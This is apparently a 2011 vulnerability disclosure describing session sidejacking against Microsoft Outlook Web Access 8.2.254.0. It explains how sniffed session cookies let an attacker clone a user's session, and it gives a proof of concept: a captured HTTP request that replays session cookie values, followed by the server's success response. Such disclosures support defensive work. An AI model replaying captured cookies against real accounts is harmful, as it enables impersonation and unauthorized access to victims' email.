============================================================================== Microsoft Outlook Web Access Session sidejacking/Session Replay Vulnerability =============================================================================== by Asheesh Kumar Mani Tripathi # code by Asheesh kumar Mani Tripathi # email informationhacker08@gmail.com # Credit by Asheesh Anaconda #Date 25th Oct 2011 #Product Outlook Web Access 8.2.254.0 #Vulnerability SideJacking is the process of sniffing web cookies, then replaying them to clone another user's web session. Using a cloned web session, the jacker can exploit the victim's previously-established site access #Impact This allows attackers that can read the network traffic to intercept all the data that is submitted to the server or web pages viewed by the client. Since this data includes the session cookie, it allows him to impersonate the victim, even if the password itself is not compromised. #Proof of concept ======================================================================================================================== Request ======================================================================================================================== GET /owa/?ae=Folder&t=IPF.Note&a= HTTP/1.1 Accept: image/gif, image/jpeg, image/pjpeg, application/x-ms-application, application/vnd.ms-xpsdocument, application/xaml+xml, application/x-ms-xbap, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/x-mfe-ipt, */* Referer: https://xxxwebmail.xxx.xxx/owa/ Accept-Language: en-in User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; InfoPath.2; .NET CLR 3.5.30729; FDM; .NET CLR 3.0.30729; .NET4.0C) Accept-Encoding: gzip, deflate Host: xxxwebmail.xxx.xxx Connection: Keep-Alive Cookie: sessionid=49307edc-0f26-4dae-95f8-02d3dc6ad8a3:000; cadata="25HxHgvnciGT/BOV1+yiA+HThFiE6kBtFXSjqAF0B5vvPAIKu7PA8tzKUCnW9N4Ao9E1WSzUeA27dLBgx"; UserContext=e8997d6036554ada88a62dc9f2cf65d3 ======================================================================================================================== Response ======================================================================================================================== HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 58676 Content-Type: text/html; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 X-OWA-Version: 8.2.254.0 X-UA-Compatible: IE=EmulateIE7 X-Powered-By: ASP.NET Date: Tue, 25 Oct 2011 15:00:01 GMT #If you have any questions, comments, or concerns, feel free to contact me.